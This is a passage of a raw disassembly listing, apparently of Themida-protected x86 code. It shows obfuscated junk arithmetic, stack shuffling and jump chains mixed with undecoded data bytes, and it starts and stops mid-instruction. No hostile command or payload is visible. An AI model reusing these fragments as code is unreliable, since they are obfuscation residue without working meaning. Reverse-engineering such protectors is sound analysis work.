0A5C016Ch mov edi, edx pop edx add ebp, edi mov edi, [esp] jmp loc_58F8F2 ; --------------------------------------------------------------------------- loc_592ED8: ; CODE XREF: Themida_:0058C492j mov ebp, esp push ebx mov ebx, 69446953h jmp loc_58F508 ; --------------------------------------------------------------------------- loc_592EE5: ; CODE XREF: Themida_:0058D2B1j add ebx, ebp pop ebp xchg ebx, [esp] pop esp shr ecx, 7 push 6E84h mov [esp], esi jmp loc_5919E2 ; --------------------------------------------------------------------------- loc_592EFC: ; CODE XREF: Themida_:00597663j cmp cl, al pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_592F04: ; CODE XREF: Themida_:0058F22Aj ; Themida_:0058F78Dj sub ecx, 49AE3A1Ah sub ecx, eax push edi jmp loc_5964F6 ; --------------------------------------------------------------------------- dw 0C483h dd 2BA5204h, 1000000h, 24148BD6h, 3304C483h, 34312434h dd 24343324h, 0D324248Bh, 0E99C2424h, 0FFFF7396h, 6D07B966h dd 244C2966h, 0E9596604h, 15D4h, 5253DA86h, 2EE94CB6h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592F53: ; CODE XREF: Themida_:00596CA6j inc bl xor bl, 0BFh sub dl, bl mov ebx, [esp] jmp loc_58C133 ; --------------------------------------------------------------------------- loc_592F62: ; CODE XREF: Themida_:0059162Dj ; Themida_:005945E9j push 6F5B0DA5h pop ebx or ebx, 760E4BB8h jz loc_596F86 xor ebx, 703859EDh shr ebx, 7 jnz loc_592A43 xor ebx, 6B84F12Bh mov esi, ebx pop ebx push ecx pop esp mov [esp], ebp push 7C11h jmp loc_58CEB9 ; --------------------------------------------------------------------------- db 50h dd 774CF8B8h, 58C50156h, 0FF9883E9h, 1C77FFFFh, 6658669Dh dd 9C240411h, 0FF7315E9h db 0FFh ; --------------------------------------------------------------------------- loc_592FB9: ; CODE XREF: Themida_:0058B544j mov [esp], ebp mov ebp, 6C142162h inc ebp push ebx mov ebx, 1DF62AB5h and ebx, 475B4451h shr ebx, 8 jmp loc_597A33 ; --------------------------------------------------------------------------- loc_592FD6: ; CODE XREF: Themida_:0058E285j inc eax and eax, 4FBE5081h xor eax, 0C381824Fh add edi, eax jmp loc_596139 ; --------------------------------------------------------------------------- loc_592FE8: ; CODE XREF: Themida_:005975D4j ; Themida_:0059796Fj xor edx, 0A7079D3h pop ebx or [edi+1Ch], edx jmp loc_58C103 ; --------------------------------------------------------------------------- loc_592FF7: ; CODE XREF: Themida_:0058B9A3j shl ecx, 5 inc ecx jmp loc_58F916 ; --------------------------------------------------------------------------- loc_593000: ; CODE XREF: Themida_:0058DC92j pop edi push ecx mov ecx, 4C797903h shr ecx, 5 add ecx, 1A37A6D4h jmp loc_590D5E ; --------------------------------------------------------------------------- db 83h, 0C1h, 4 dd 31240C33h, 0C33240Ch, 0B550E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593026: ; CODE XREF: Themida_:0058BD26j jo loc_5966C1 push ebp mov ebp, 247D70B9h xor edi, ebp pop ebp add edi, 9A49F687h or edi, 65DC2AC7h shr edi, 3 xor edi, 434A9B9Eh push eax mov eax, 45B23FC3h shl eax, 5 and eax, 4E34376Ch add eax, 3DCC2498h add ecx, eax jmp loc_5929EC ; --------------------------------------------------------------------------- loc_593064: ; CODE XREF: Themida_:0058D971j sub esi, 7BF3BC75h xor edx, esi pop esi mov edi, edx pop edx sub edi, 6BB62C5Eh add edi, ebp jmp loc_58B87E ; --------------------------------------------------------------------------- loc_59307D: ; CODE XREF: Themida_:005923A7j xchg ebp, [esp] push dword ptr [esp] pop ebp add esp, 4 xor eax, ebp jmp loc_58D2E6 ; --------------------------------------------------------------------------- db 89h, 0E5h, 52h dd 546E2BAh, 886EE97Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59309E: ; CODE XREF: Themida_:00593AF7j jmp loc_58A2CE ; --------------------------------------------------------------------------- db 0B8h dd 2, 6D1DC281h, 0C2010B1Eh, 6D1DEA81h, 33580B1Eh, 14312414h dd 24143324h, 0FFF6F3E9h, 0C8B66FFh, 74EBE924h, 48FFFFFh dd 0E1F75C24h, 4EC81h, 4890000h, 0E3895324h, 113AE9h, 240C8900h dd 0C181E189h, 4, 0FFFF20E9h db 0FFh ; --------------------------------------------------------------------------- loc_5930F5: ; CODE XREF: Themida_:0058F75Bj and eax, edi pop edi shr eax, 18h xor eax, ecx jmp loc_58E72E ; --------------------------------------------------------------------------- dw 0D501h dd 5A2434FFh, 4C481h, 0C5830000h, 242C3302h, 33242C31h dd 0E95C242Ch, 0FFFFA286h, 3810EB81h, 0EB0162F1h, 3810C381h dd 2C8B62F1h, 8D73E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593136: ; CODE XREF: Themida_:005931B2j push dword ptr [esp] pop edi add esp, 4 push edx mov edx, esp add edx, 4 push ecx jmp loc_5910F4 ; --------------------------------------------------------------------------- loc_59314C: ; CODE XREF: Themida_:0059316Cj push ecx jmp loc_5906BA ; --------------------------------------------------------------------------- loc_593152: ; CODE XREF: Themida_:0058D53Bj jmp loc_5936E4 ; --------------------------------------------------------------------------- loc_593157: ; CODE XREF: Themida_:0058D875j add ebp, ecx sub ebp, 24C13372h pop ecx jmp loc_593886 ; --------------------------------------------------------------------------- loc_593165: ; CODE XREF: Themida_:00596D0Fj pop edx add edx, 4 jmp loc_59314C ; --------------------------------------------------------------------------- db 31h, 0C3h, 66h dd 6800B60Fh, 73D2h, 68243489h, 4AF6h, 83242489h, 5E042404h dd 4EC81h, 3C890000h, 11C4E924h, 30AC0000h, 10A4E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5931A2: ; CODE XREF: Themida_:00594DE3j mov ebx, 6D5159B4h xor edi, ebx pop ebx xor edi, 3F9EF461h xor eax, edi jmp loc_593136 ; --------------------------------------------------------------------------- db 52h dd 2BAh, 5AD10100h, 0FF7B48E9h db 0FFh ; --------------------------------------------------------------------------- loc_5931C5: ; CODE XREF: Themida_:00592330j sub edx, 542535BEh pop ebp sub edx, ebp sub edx, 25953E76h mov ebp, [esp] add esp, 4 jmp loc_595E8C ; --------------------------------------------------------------------------- loc_5931E2: ; CODE XREF: Themida_:0058BE54j add ecx, ebx sub ecx, 4E817D08h pop ebx sub ecx, 1BFB40A4h add ecx, edi push eax mov eax, 3B3522FFh shl eax, 2 jmp loc_58E7C2 ; --------------------------------------------------------------------------- db 81h, 0F3h, 0EEh dd 89001420h, 0C7815BD9h, 4E9335EAh, 0FFAE59E9h, 8BE688FFh dd 0B3E92404h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59321F: ; CODE XREF: Themida_:00594043j mov edx, [esp] add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_5945F8 ; --------------------------------------------------------------------------- db 56h dd 0FF93DFE9h, 0DAF75FFFh, 2414F752h, 50DAF75Ah, 0E43252B8h dd 78EF354Bh, 0E7050483h, 0E9804A50h, 0FFFFA649h, 32DEE9h db 0 ; --------------------------------------------------------------------------- loc_593261: ; CODE XREF: Themida_:0058EAFDj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58DDBC ; --------------------------------------------------------------------------- loc_593273: ; CODE XREF: Themida_:00591251j push edi jmp loc_58D484 ; --------------------------------------------------------------------------- db 0B7h, 0F1h, 30h dd 200459EFh, 202CF800h, 0FF8613E9h db 0FFh ; --------------------------------------------------------------------------- loc_593289: ; CODE XREF: Themida_:00592BDDj mov ebx, esp add ebx, 4 push ecx mov ecx, esp jmp loc_58DF3A ; --------------------------------------------------------------------------- loc_593299: ; CODE XREF: Themida_:loc_58CBB7j shl ebx, 2 jz loc_58C41D sub ebx, 52F96193h jmp loc_5948AC ; --------------------------------------------------------------------------- db 89h, 0E0h, 0E9h dd 0FFFFCF01h, 83241C8Bh, 0C38104C4h, 4, 0FFF527E9h db 0FFh ; --------------------------------------------------------------------------- loc_5932C5: ; CODE XREF: Themida_:00595641j sub ebx, 0FFFDBA48h jmp loc_59125D ; --------------------------------------------------------------------------- dd 9D1C77FFh, 1CD25966h, 0EFE99C24h, 0BEFFFF6Fh, 19AF2C1Ch dd 15EF589h, 1AE95DEFh db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5932EF: ; CODE XREF: Themida_:0058F56Dj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop ebx push 65B8h mov [esp], ebp mov ebp, 21427A4Ah shr ebp, 6 shr ebp, 8 push ecx push eax mov eax, 762B133Ah shl eax, 1 jmp loc_59005F ; --------------------------------------------------------------------------- loc_593320: ; CODE XREF: Themida_:00594C37j push edi mov edi, 1E894B47h or edi, 714C55F1h shl edi, 8 not edi neg edi sub edi, 4DF82AD0h push ecx mov ecx, 41495911h neg ecx push edi mov edi, 10C921DEh xor ecx, edi pop edi xchg ebp, ecx jmp loc_58FA59 ; --------------------------------------------------------------------------- loc_593351: ; CODE XREF: Themida_:00592A4Fj sub ebp, edi push edi jmp loc_58F89A ; --------------------------------------------------------------------------- db 81h, 0E7h, 35h dd 0E95CE470h, 0FFFFDAD7h, 3FED68h, 24248900h, 4B850h dd 44010000h, 54E90424h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59337B: ; CODE XREF: Themida_:0058F36Ej add edi, 1F3F4887h jmp loc_58F736 ; --------------------------------------------------------------------------- dw 0E953h dd 1F56h ; --------------------------------------------------------------------------- loc_59338C: ; CODE XREF: Themida_:0058C114j push ebx add dword ptr [esp], 2DFA07B9h mov ecx, [esp] add esp, 4 sub ecx, 2DFA07B9h sub esp, 4 mov [esp], ecx jmp loc_592E07 ; --------------------------------------------------------------------------- loc_5933AE: ; CODE XREF: Themida_:0058A460j add esp, 4 pop esi rep movsd add esp, [edx+38h] push ecx mov ecx, 3FE61E38h jmp loc_594F03 ; --------------------------------------------------------------------------- loc_5933C2: ; CODE XREF: Themida_:00592422j jz loc_58FEC9 sub ecx, 0FFE6DEC0h add ecx, edx sub esp, 4 mov [esp], eax jmp loc_58EF52 ; --------------------------------------------------------------------------- db 81h dd 945948EFh, 7A3BE946h, 0D988FFFFh, 90E9CA88h, 87FFFF7Ah dd 248B240Ch, 0E3895324h, 0FFE640E9h db 0FFh ; --------------------------------------------------------------------------- loc_5933FD: ; CODE XREF: Themida_:0058E3C5j neg ebp push edi mov edi, 2BF0EC3h xor edi, 78B55049h xor ebp, edi jmp loc_59750E ; --------------------------------------------------------------------------- dw 0FF66h dd 6EB4E932h, 605FFFFh, 11D4A6Fh, 6F062DD8h, 34FF1D4Ah db 24h, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub ebx, 39264A9Bh push edi push ebp mov ebp, 19E63797h push edx push 337823AFh pop edx neg edx jb loc_58D94E shr edx, 2 and edx, 6E0275E6h pop esi mov cx, [esp] push ecx push esp mov ecx, [esp] jmp loc_592890 ; --------------------------------------------------------------------------- loc_59346E: ; CODE XREF: Themida_:0058B3B8j pop ebp push eax mov eax, 30CB1067h add eax, 0CF34EF9Dh add ebp, eax push dword ptr [esp] pop eax add esp, 4 push esi sub esp, 4 jmp loc_58D5F8 ; --------------------------------------------------------------------------- loc_59348F: ; CODE XREF: Themida_:00594EA2j popa jmp loc_58F1B9 ; --------------------------------------------------------------------------- loc_593495: ; CODE XREF: Themida_:0058FC12j add eax, 4 xchg eax, [esp] mov esp, [esp] shr ecx, 0Ah push 2E0Dh mov [esp], ecx jmp loc_592D25 ; --------------------------------------------------------------------------- dw 0E9ADh dd 0FFFFAAE1h, 0FF6E15E9h db 0FFh ; --------------------------------------------------------------------------- loc_5934B9: ; CODE XREF: Themida_:00590CF2j ; Themida_:00591ACAj mov ecx, 2 push eax mov eax, 6AD33F19h push edx mov edx, 69A97D20h shr edx, 1 jmp loc_59726D ; --------------------------------------------------------------------------- loc_5934D1: ; CODE XREF: Themida_:005904D8j mov ecx, ebx jmp loc_59215C ; --------------------------------------------------------------------------- dd 0FEF8CF80h, 0AC44E9C7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5934E2: ; CODE XREF: Themida_:00592A1Aj neg ebp or ebp, 77AA6A87h push esi mov esi, 6C4439F6h shr esi, 3 xor esi, 3D2715E9h add esi, 51150578h or esi, 122F5521h jmp loc_58FAD1 ; --------------------------------------------------------------------------- loc_59350A: ; CODE XREF: Themida_:0058D4B3j pop esi add [esp+4], ebp push esi mov esi, 10A703A4h sub [esp+8], esi pop esi mov ebp, [esp] push edx jmp loc_595FF0 ; --------------------------------------------------------------------------- loc_593523: ; CODE XREF: Themida_:00592983j add edi, ebx pop ebx push edi push dword ptr [esp+4] push dword ptr [esp] pop edi push edx jmp loc_595AC9 ; --------------------------------------------------------------------------- db 80h, 2 dup(0C6h) dd 33758C0Fh, 0DE860000h, 0DE86D3F6h, 0D01DCE80h, 56E98BE6h dd 59F26852h, 148B0E91h, 93BAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59355A: ; CODE XREF: Themida_:00596522j pop esi add eax, 0A5530099h sub ebp, 6A496FDDh add ebp, eax add ebp, 6A496FDDh pop eax add ebp, 2 push ebp push dword ptr [esp+4] jmp loc_590857 ; --------------------------------------------------------------------------- loc_59357F: ; CODE XREF: Themida_:0058D31Aj sub bl, al add bl, 3Dh sub bl, 0E3h add bl, 0D5h sub esp, 4 mov [esp], ecx jmp loc_595BDA ; --------------------------------------------------------------------------- dd 0FFD203E9h, 0FEFEB6FFh, 0C1D1E9CEh, 8A0FFFFFh, 0FFFFD458h dd 8813EC80h, 0EE8058E7h, 0B7FE00AFh, 241C8920h, 12BC68h dd 24048900h, 8085B151h, 0C180C5E1h, 0CCFCE931h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5935D2: ; CODE XREF: Themida_:0058C452j add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_595288 ; --------------------------------------------------------------------------- aNuCOdUs3c db 'NU½#d',9,'ξι3C',0 dd 51982D00h, 0D8016CB2h, 0B2519805h, 13822D6Ch, 505B4A75h dd 42474FFh, 24048F58h, 0FFCE86E9h db 0FFh ; --------------------------------------------------------------------------- loc_59361D: ; CODE XREF: Themida_:0059268Fj add edx, 5F9A1ED2h xor edx, 6E251E62h dec edx dec edx add edx, 36C2B5CFh jmp loc_591CE7 ; --------------------------------------------------------------------------- dw 8B66h dd 60682404h, 8900007Ch, 0E789243Ch, 44F0E9h, 0E9536600h dd 1A1h ; --------------------------------------------------------------------------- loc_593650: ; CODE XREF: Themida_:0058C1EDj sub ebx, 313F7FA4h not ebx xor ebx, 964D8558h jmp loc_591BF4 ; --------------------------------------------------------------------------- loc_593663: ; CODE XREF: Themida_:0058D8E4j and edi, 305B452Dh jmp loc_5910FE ; --------------------------------------------------------------------------- loc_59366E: ; CODE XREF: Themida_:00594937j mov eax, 587B7BD9h push ebp mov ebp, 760B4DB4h xor eax, ebp pop ebp inc eax push edi jmp loc_591BD6 ; --------------------------------------------------------------------------- db 59h dd 0D828A204h, 0FF7A4DE9h db 0FFh ; --------------------------------------------------------------------------- loc_59368D: ; CODE XREF: Themida_:0058D957j push esi mov esi, 103853A5h neg esi xor esi, 3FA426FFh sub esi, 4A13137Ch jmp loc_591F52 ; --------------------------------------------------------------------------- dw 0BE56h dd 4CCB3C44h, 0C7CE8146h, 0F75BCD6Dh, 0D6C681DEh, 29DECE80h dd 0F9015EF1h, 30FBA52h, 0D1017EFFh, 29B8505Ah, 1428E47h dd 2C12E9C1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5936D6: ; CODE XREF: Themida_:005956D1j sub esp, 4 mov [esp], eax mov al, bh push edx jmp loc_5957FD ; --------------------------------------------------------------------------- loc_5936E4: ; CODE XREF: Themida_:loc_593152j not al jmp loc_58B62C ; --------------------------------------------------------------------------- loc_5936EB: ; CODE XREF: Themida_:0058E74Fj xchg ecx, [esp] not ecx xchg ecx, [esp] pop edx xchg edx, [esp] pop ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_58A4CF ; --------------------------------------------------------------------------- loc_59370C: ; CODE XREF: Themida_:0058A4A9j push esi mov esi, 49E64C75h add ebp, esi pop esi pop edx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], eax jmp loc_58C50A ; --------------------------------------------------------------------------- loc_593728: ; CODE XREF: Themida_:0058A6BAj mov edx, [esp] add esp, 4 push 1637h mov [esp], edi jmp loc_595E21 ; --------------------------------------------------------------------------- loc_59373E: ; CODE XREF: Themida_:0058C827j pop edi push ebp push ebx mov ebx, 493C0696h mov ebp, 493C0694h xor ebp, ebx pop ebx add esi, ebp jmp loc_592247 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 68000000h, 61E3h, 0FFA9F7E9h db 0FFh ; --------------------------------------------------------------------------- loc_593765: ; CODE XREF: Themida_:0058D655j mov ecx, [esp] jmp loc_58DBA6 ; --------------------------------------------------------------------------- db 0C1h, 0E2h, 3 dd 18C7C281h, 0EDE97670h, 5A000006h, 9E9CE30h, 66FFFFD2h dd 0EEBE6656h, 0F509663Eh, 24348B66h, 8370E952h, 8158FFFFh dd 2535BEC2h, 0E9EA0154h, 0FFFFFA21h ; --------------------------------------------------------------------------- loc_5937A4: ; CODE XREF: Themida_:0058E4E6j mov edi, [esp] add esp, 4 jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_5937B2: ; CODE XREF: Themida_:00591D4Cj or edx, eax shl edx, 1 sub esp, 4 mov [esp], ecx mov ecx, 0FFFFFFFFh sub [edi+24h], ecx push dword ptr [esp] mov ecx, [esp] jmp loc_58DE8C ; --------------------------------------------------------------------------- db 29h dd 9DE95FF8h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5937D7: ; CODE XREF: Themida_:00596AA7j movzx cx, al jmp loc_597291 ; --------------------------------------------------------------------------- loc_5937E0: ; CODE XREF: Themida_:00592A92j add eax, 25622F7h add eax, ebp sub eax, 25622F7h jmp loc_593AF1 ; --------------------------------------------------------------------------- db 0B7h, 2Ch, 4 dd 2CF8001Fh, 2C5B661Fh, 7E5FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593802: ; CODE XREF: Themida_:0058CD76j mov bh, ah pop eax jmp loc_592150 ; --------------------------------------------------------------------------- loc_59380A: ; CODE XREF: Themida_:0058CAE8j add ebp, 613E0866h sub ebp, 7461519h pop esi jmp loc_58F2B6 ; --------------------------------------------------------------------------- dd 8104EBC1h, 522B07EBh, 0C8870F3Bh, 81FFFFEEh, 9DFFC1F3h dd 0E9D88997h, 0FFFFC9E5h, 4008D8BDh, 0E0BCE91Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593842: ; CODE XREF: Themida_:0058C23Ej add esi, edi push ecx mov ecx, 0F8D260Ch shr ecx, 3 xchg esi, ecx not esi xchg esi, ecx add ecx, 17233BCh add ecx, 5F73773Fh add esi, 322C6109h sub esi, ecx sub esi, 322C6109h pop ecx pop edi sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_595CCD ; --------------------------------------------------------------------------- loc_593886: ; CODE XREF: Themida_:00593160j add ebp, edx jmp loc_597E52 ; --------------------------------------------------------------------------- loc_59388D: ; CODE XREF: Themida_:005900DEj add esp, 4 push ecx pop ebp mov ecx, [esp] push ecx jmp loc_590FC6 ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 5065h, 89240489h, 405E0h, 0EC810000h, 4 dd 0FFBBADE9h db 0FFh ; --------------------------------------------------------------------------- loc_5938B9: ; CODE XREF: Themida_:00595E1Cj push ebx jmp loc_58F12F ; --------------------------------------------------------------------------- loc_5938BF: ; CODE XREF: Themida_:0059214Bj add edi, 4 xchg edi, [esp] pop esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_590538 ; --------------------------------------------------------------------------- db 66h dd 5024048Bh, 0EDE9E089h, 1FFFFDEh, 1C875EF3h, 37E95C24h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5938EF: ; CODE XREF: Themida_:00597D72j add esi, 80820Ch mov edi, esi pop esi add ecx, edi pop edi xchg ecx, [esp] pop esp loc_5938FF: ; CODE XREF: Themida_:00590B3Bj push 3343h mov [esp], esi mov esi, ebx push 1FE1h mov [esp], edx jmp loc_58EC51 ; --------------------------------------------------------------------------- loc_593916: ; CODE XREF: Themida_:00596472j jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_59391B: ; CODE XREF: Themida_:0058E101j push 438Ah jmp loc_58DFB2 ; --------------------------------------------------------------------------- loc_593925: ; CODE XREF: Themida_:00592B72j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edi jmp loc_593B98 ; --------------------------------------------------------------------------- loc_59393E: ; CODE XREF: Themida_:0058BA7Bj add ebx, esi pop esi xchg ebx, [esp] pop esp push eax mov eax, esp jmp loc_592540 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 4EC8324h, 83243C89h, 248904ECh, 24048324h, 53515F04h dd 436AE9h db 0 ; --------------------------------------------------------------------------- loc_593969: ; CODE XREF: Themida_:0059197Fj sub eax, 589C7B72h jmp loc_58E8F1 ; --------------------------------------------------------------------------- loc_593973: ; CODE XREF: Themida_:0058A941j add edx, ecx pop ecx xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push ebp jmp loc_59762D ; --------------------------------------------------------------------------- dw 8B66h dd 8953240Ch, 4EC83E3h, 0E9240489h, 0FFFF6B8Dh, 8324048Bh dd 0EB8104C4h, 6E037CCh, 0C381C301h, 6E037CCh, 2838E9h dd 4C18100h, 81000000h, 4C1h, 240C8700h, 0BD55515Ch, 542F23F9h dd 15DE989h, 2434FFC8h, 81240C8Bh, 4C4h, 59545100h, 4C181h dd 0C1830000h, 0FA05E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5939EA: ; CODE XREF: Themida_:00594302j sub edi, ebp pop ebp add ebx, edi jmp loc_59283F ; --------------------------------------------------------------------------- loc_5939F4: ; CODE XREF: Themida_:005955F6j xchg ebp, ebx xor ebx, 6EEBB81Fh sub ebp, ebx jmp loc_594356 ; --------------------------------------------------------------------------- db 89h dd 0E589242Ch, 4BE56h, 0F5010000h, 6824348Bh, 3AF3h, 89240489h dd 405E0h, 4050000h, 87000000h, 505C2404h, 4B8h, 58C50100h dd 5C242C87h, 0FFFFEA81h, 0C281FFFFh, 32BE0F0Ch, 815AD309h dd 0FFEAFFEBh, 687CE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593A52: ; CODE XREF: Themida_:0058B62Dj mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_593C25 ; --------------------------------------------------------------------------- dw 0EED1h dd 0EA3DEE81h, 0F28986EDh, 400FE9h, 0BD555E00h, 2F5F5D08h dd 44E7ED81h, 5EE961E2h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_593A83: ; CODE XREF: Themida_:0059110Ej not edi add edi, 32B2FB6h mov eax, edi pop edi jmp loc_58A868 ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 35BBh, 54243C89h, 81243C8Bh, 4C4h, 4EC8100h dd 89000000h, 0C4E9240Ch db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_593AB7: ; CODE XREF: Themida_:00593CC6j jmp loc_58D413 ; --------------------------------------------------------------------------- loc_593ABC: ; CODE XREF: Themida_:0058FD3Ej and bh, 22h jnz loc_594A46 push ecx mov ch, 47h jmp loc_58D149 ; --------------------------------------------------------------------------- db 50h, 88h, 0D3h dd 0FE01EB80h, 5D4E9CBh, 0F3290000h, 0EC81585Eh, 4, 0BE243489h dd 2, 0FFFDF2E9h db 0FFh ; --------------------------------------------------------------------------- loc_593AF1: ; CODE XREF: Themida_:005937ECj add eax, 2DFA0828h pop ebp jmp loc_59309E ; --------------------------------------------------------------------------- dd 6624248Bh, 9C2404FFh, 0FF67C5E9h, 4C483FFh, 17E9CFFEh db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593B13: ; CODE XREF: Themida_:00592738j mov esi, esp jmp loc_5920F0 ; --------------------------------------------------------------------------- loc_593B1A: ; CODE XREF: Themida_:0058B897j add ebx, 52DC097Fh add ebx, eax sub ebx, 52DC097Fh sub ebx, 4243074Eh jmp loc_59194E ; --------------------------------------------------------------------------- loc_593B33: ; CODE XREF: Themida_:00591249j or edx, 62D86549h push edi mov edi, 84070032h sub edx, 2D4B7C94h add edx, edi push ebx push ebp jmp loc_595E36 ; --------------------------------------------------------------------------- loc_593B4E: ; CODE XREF: Themida_:00591B56j sub ebx, 583D7BCEh sub ebx, ebp jmp loc_5904D1 ; --------------------------------------------------------------------------- db 0BBh dd 28195356h, 7322F381h, 0E3C10B5Eh, 0D7DE904h, 34FF0000h dd 54505824h, 0BF8FE958h, 4634FFFFh, 0C5280DB5h, 0FFAD25E9h dd 0EC8F0FFFh, 0C1FFFFCCh, 840F05E7h, 0FFFFC01Bh, 5A02E7C1h ; --------------------------------------------------------------------------- loc_593B98: ; CODE XREF: Themida_:00593939j mov edi, esp add edi, 4 jmp loc_5927E1 ; --------------------------------------------------------------------------- db 0ACh, 4, 0A2h dd 17B75352h, 0FE03EFC0h, 2EC780CFh, 505BFA88h, 0FFD4EAE9h dd 5DEF31FFh, 0FFD7F7E9h, 0A1E95CFFh, 5BFFFFCCh, 22E9C328h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593BD3: ; CODE XREF: Themida_:00596852j add edx, 0DBD7D8B5h sub esi, 269B42BCh jmp loc_593F93 ; --------------------------------------------------------------------------- loc_593BE4: ; CODE XREF: Themida_:00597FAEj mov eax, 72C852D7h add eax, 613A767Bh inc eax sub eax, 669B71E3h add edi, eax jmp loc_58E115 ; --------------------------------------------------------------------------- loc_593BFB: ; CODE XREF: Themida_:005952A9j mov edx, esp push ebp mov ebp, 8E23BD1h add ebp, 2D0752F8h jmp loc_597613 ; --------------------------------------------------------------------------- loc_593C0E: ; CODE XREF: Themida_:0058D6CBj sub ebp, 4291057Dh jnz loc_594BC3 jmp loc_597961 ; --------------------------------------------------------------------------- db 50h dd 4B8h db 0 ; --------------------------------------------------------------------------- loc_593C25: ; CODE XREF: Themida_:00593A5Dj xchg ebp, [esp] mov esp, [esp] mov [esp], ebx push 7E51h jmp loc_58B249 ; --------------------------------------------------------------------------- dd 24E268h, 0CDE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_593C42: ; CODE XREF: Themida_:0058F0C9j mov ecx, 4 jmp loc_58A3E0 ; --------------------------------------------------------------------------- dd 0B724D0F6h, 0EC3810Fh, 2E90000h, 89FFFFE6h, 0ADB1242Ch db 55h ; --------------------------------------------------------------------------- loc_593C61: ; CODE XREF: Themida_:00594C5Ej sub edi, 62B9F0CDh add ebx, edi pop edi add ebx, 3B6C9EA0h add ecx, 3E43252Bh add ecx, ebx sub ecx, 3E43252Bh pop ebx jmp loc_58F013 ; --------------------------------------------------------------------------- dd 8704C783h, 535C243Ch, 503AB652h, 0C388F088h, 24148B58h dd 4C481h, 93B10000h, 0F1E9D928h, 89FFFFD2h, 74FF243Ch dd 3C8B0424h, 4C48324h, 5C24048Fh, 2896664h, 0FFB51AE9h db 0FFh ; --------------------------------------------------------------------------- loc_593CC1: ; CODE XREF: Themida_:00593D65j shl esi, 7 neg esi jno loc_593AB7 jmp loc_58F1B1 ; --------------------------------------------------------------------------- db 80h, 0E7h, 22h dd 398E850Fh, 0F660000h, 75E902B6h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593CE3: ; CODE XREF: Themida_:00595418j add ebp, 83ABD5A8h or ebp, 782F01D4h jmp loc_58E495 ; --------------------------------------------------------------------------- loc_593CF4: ; CODE XREF: Themida_:0058E6CBj add ebx, eax push 3949h mov [esp], edi mov edi, 2FB8467Bh sub edi, 0F9DC1114h push ebp jmp loc_593EBE ; --------------------------------------------------------------------------- db 89h dd 0F8E9241Ch db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_593D17: ; CODE XREF: Themida_:0059282Fj mov edx, 0D6AFF97Eh jmp loc_5979F6 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 81E78957h, 4C7h, 6AE95600h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_593D33: ; CODE XREF: Themida_:0058F1B4j pop eax add bl, 0E6h add al, 88h add al, bl sub al, 88h pop ebx push edx jmp loc_58D557 ; --------------------------------------------------------------------------- loc_593D44: ; CODE XREF: Themida_:00594D3Bj push cx pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- aBirT4h db 'λr!4h',0 dd 29000000h, 1C8B241Ch, 0EEEFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593D62: ; CODE XREF: Themida_:loc_591CEEj shr esi, 5 jmp loc_593CC1 ; --------------------------------------------------------------------------- dw 0B951h dd 4, 4E25EF81h, 0CF011C1Ch, 4E25C781h, 0C8B1C1Ch, 4C48324h dd 2474FF57h, 48F5F04h, 0BF0F5C24h, 27A868C8h, 0C890000h dd 6530E924h, 2C89FFFFh, 71A66824h, 0C15D663Fh, 8A0F04EDh dd 1D8h, 1F2EED81h, 1EE94D3Bh, 8900000Dh, 19E92414h, 59FFFFCEh dd 0ABB25253h, 28E9D788h, 0FF00001Bh, 68582434h, 31CDh dd 89242C89h, 4B850E5h, 1000000h, 24048BC5h, 2D5CE9h, 2434FF00h dd 0E9240C8Bh, 0FFFFC009h, 2434FF54h, 4C48158h, 68000000h dd 6AC6h, 0BE243489h, 1DE1626h, 8105EEC1h, 